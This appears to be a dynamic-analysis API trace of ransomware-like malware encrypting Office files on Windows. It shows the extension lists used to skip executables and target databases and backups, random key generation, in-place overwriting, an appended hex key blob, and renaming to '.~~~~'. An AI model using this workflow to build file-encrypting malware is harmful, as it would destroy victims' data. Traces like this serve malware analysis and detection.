	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b528
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b528 | out: hHeap=0x300000) returned 1
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4700
	[0079.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b23c0
	[0079.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0079.227] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.227] GetLastError () returned 0x0
	[0079.227] GetLastError () returned 0x0
	[0079.228] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.228] GetLastError () returned 0x0
	[0079.228] GetLastError () returned 0x0
	[0079.228] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x795, lpOverlapped=0x0) returned 1
	[0079.230] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff86b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.230] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x795, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x795, lpOverlapped=0x0) returned 1
	[0079.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.231] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.232] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.232] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.232] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.232] CloseHandle (hObject=0x134) returned 1
	[0079.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0079.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.~~~~")) returned 1
	[0079.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0079.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.233] GetLastError () returned 0x0
	[0079.234] RtlWakeConditionVariable () returned 0x365f70
	[0079.234] GetCurrentThreadId () returned 0x9f4
	[0079.234] GetCurrentThreadId () returned 0x9f4
	[0079.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb078 | out: hHeap=0x300000) returned 1
	[0079.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b560 | out: hHeap=0x300000) returned 1
	[0079.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0079.234] lstrlenW (lpString=".scr") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".scr") returned 0x0
	[0079.234] lstrlenW (lpString=".cmd") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".cmd") returned 0x0
	[0079.234] lstrlenW (lpString=".dll") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dll") returned 0x0
	[0079.234] lstrlenW (lpString=".bat") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".bat") returned 0x0
	[0079.234] lstrlenW (lpString=".cpl") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".cpl") returned 0x0
	[0079.234] lstrlenW (lpString=".sys") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".sys") returned 0x0
	[0079.234] lstrlenW (lpString=".msc") returned 4
	[0079.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".msc") returned 0x0
	[0079.235] lstrlenW (lpString=".com") returned 4
	[0079.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".com") returned 0x0
	[0079.235] lstrlenW (lpString=".lnk") returned 4
	[0079.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".lnk") returned 0x0
	[0079.235] lstrlenW (lpString=".msp") returned 4
	[0079.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".msp") returned 0x0
	[0079.235] lstrlenW (lpString=".pif") returned 4
	[0079.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".pif") returned 0x0
	[0079.235] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.236] lstrlenW (lpString=".sqb") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".sqb") returned 0x0
	[0079.236] lstrlenW (lpString=".ost") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".ost") returned 0x0
	[0079.236] lstrlenW (lpString=".txt") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".txt") returned 0x0
	[0079.236] lstrlenW (lpString=".mdt") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".mdt") returned 0x0
	[0079.236] lstrlenW (lpString=".BDB") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".BDB") returned 0x0
	[0079.236] lstrlenW (lpString=".eql") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".eql") returned 0x0
	[0079.236] lstrlenW (lpString=".DBF") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DBF") returned 0x0
	[0079.236] lstrlenW (lpString=".EQL") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".EQL") returned 0x0
	[0079.236] lstrlenW (lpString=".FDB") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".FDB") returned 0x0
	[0079.236] lstrlenW (lpString=".EDB") returned 4
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".EDB") returned 0x0
	[0079.236] lstrlenW (lpString=".DACPAC") returned 7
	[0079.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.236] lstrlenW (lpString=".VHD") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".VHD") returned 0x0
	[0079.237] lstrlenW (lpString=".DBV") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DBV") returned 0x0
	[0079.237] lstrlenW (lpString=".dacpac") returned 7
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dacpac") returned 0x0
	[0079.237] lstrlenW (lpString=".sdf") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".sdf") returned 0x0
	[0079.237] lstrlenW (lpString=".accdb") returned 6
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".accdb") returned 0x0
	[0079.237] lstrlenW (lpString=".DBX") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DBX") returned 0x0
	[0079.237] lstrlenW (lpString=".MDT") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".MDT") returned 0x0
	[0079.237] lstrlenW (lpString=".SQB") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".SQB") returned 0x0
	[0079.237] lstrlenW (lpString=".vhd") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".vhd") returned 0x0
	[0079.237] lstrlenW (lpString=".bac") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".bac") returned 0x0
	[0079.237] lstrlenW (lpString=".mdf") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".mdf") returned 0x0
	[0079.237] lstrlenW (lpString=".BAK") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".BAK") returned 0x0
	[0079.237] lstrlenW (lpString=".BAC") returned 4
	[0079.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".BAC") returned 0x0
	[0079.237] lstrlenW (lpString=".dbs") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dbs") returned 0x0
	[0079.238] lstrlenW (lpString=".vhdx") returned 5
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".vhdx") returned 0x0
	[0079.238] lstrlenW (lpString=".NDF") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".NDF") returned 0x0
	[0079.238] lstrlenW (lpString=".dat") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dat") returned 0x0
	[0079.238] lstrlenW (lpString=".DBS") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DBS") returned 0x0
	[0079.238] lstrlenW (lpString=".CKP") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".CKP") returned 0x0
	[0079.238] lstrlenW (lpString=".edb") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".edb") returned 0x0
	[0079.238] lstrlenW (lpString=".PST") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".PST") returned 0x0
	[0079.238] lstrlenW (lpString=".dbf") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dbf") returned 0x0
	[0079.238] lstrlenW (lpString=".SQL") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".SQL") returned 0x0
	[0079.238] lstrlenW (lpString=".pst") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".pst") returned 0x0
	[0079.238] lstrlenW (lpString=".dbv") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dbv") returned 0x0
	[0079.238] lstrlenW (lpString=".SDF") returned 4
	[0079.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".SDF") returned 0x0
	[0079.238] lstrlenW (lpString=".dtxs") returned 5
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dtxs") returned 0x0
	[0079.239] lstrlenW (lpString=".db3") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".db3") returned 0x0
	[0079.239] lstrlenW (lpString=".OST") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".OST") returned 0x0
	[0079.239] lstrlenW (lpString=".dbx") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dbx") returned 0x0
	[0079.239] lstrlenW (lpString=".DB3") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DB3") returned 0x0
	[0079.239] lstrlenW (lpString=".DAT") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DAT") returned 0x0
	[0079.239] lstrlenW (lpString=".VHDX") returned 5
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".VHDX") returned 0x0
	[0079.239] lstrlenW (lpString=".ndf") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".ndf") returned 0x0
	[0079.239] lstrlenW (lpString=".DB") returned 3
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DB") returned 0x0
	[0079.239] lstrlenW (lpString=".sql") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".sql") returned 0x0
	[0079.239] lstrlenW (lpString=".MYD") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".MYD") returned 0x0
	[0079.239] lstrlenW (lpString=".DBT") returned 4
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DBT") returned 0x0
	[0079.239] lstrlenW (lpString=".ACCDB") returned 6
	[0079.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.239] lstrlenW (lpString=".fdb") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".fdb") returned 0x0
	[0079.240] lstrlenW (lpString=".bak") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".bak") returned 0x0
	[0079.240] lstrlenW (lpString=".myd") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".myd") returned 0x0
	[0079.240] lstrlenW (lpString=".DTXS") returned 5
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".DTXS") returned 0x0
	[0079.240] lstrlenW (lpString=".ckp") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".ckp") returned 0x0
	[0079.240] lstrlenW (lpString=".dbt") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".dbt") returned 0x0
	[0079.240] lstrlenW (lpString=".db") returned 3
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".db") returned 0x0
	[0079.240] lstrlenW (lpString=".TXT") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".TXT") returned 0x0
	[0079.240] lstrlenW (lpString=".MDF") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".MDF") returned 0x0
	[0079.240] lstrlenW (lpString=".bdb") returned 4
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".bdb") returned 0x0
	[0079.240] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.240] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.242] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.242] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19923186431) returned 1
	[0079.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9918c750, dwHighDateTime=0x1d60e1e)) 
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b560
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b560 | out: hHeap=0x300000) returned 1
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0079.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b23c0
	[0079.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.243] GetLastError () returned 0x0
	[0079.243] GetLastError () returned 0x0
	[0079.243] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.243] GetLastError () returned 0x0
	[0079.243] GetLastError () returned 0x0
	[0079.243] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.247] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.247] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.248] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.248] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.250] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.250] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.250] CloseHandle (hObject=0x134) returned 1
	[0079.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.250] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.~~~~")) returned 1
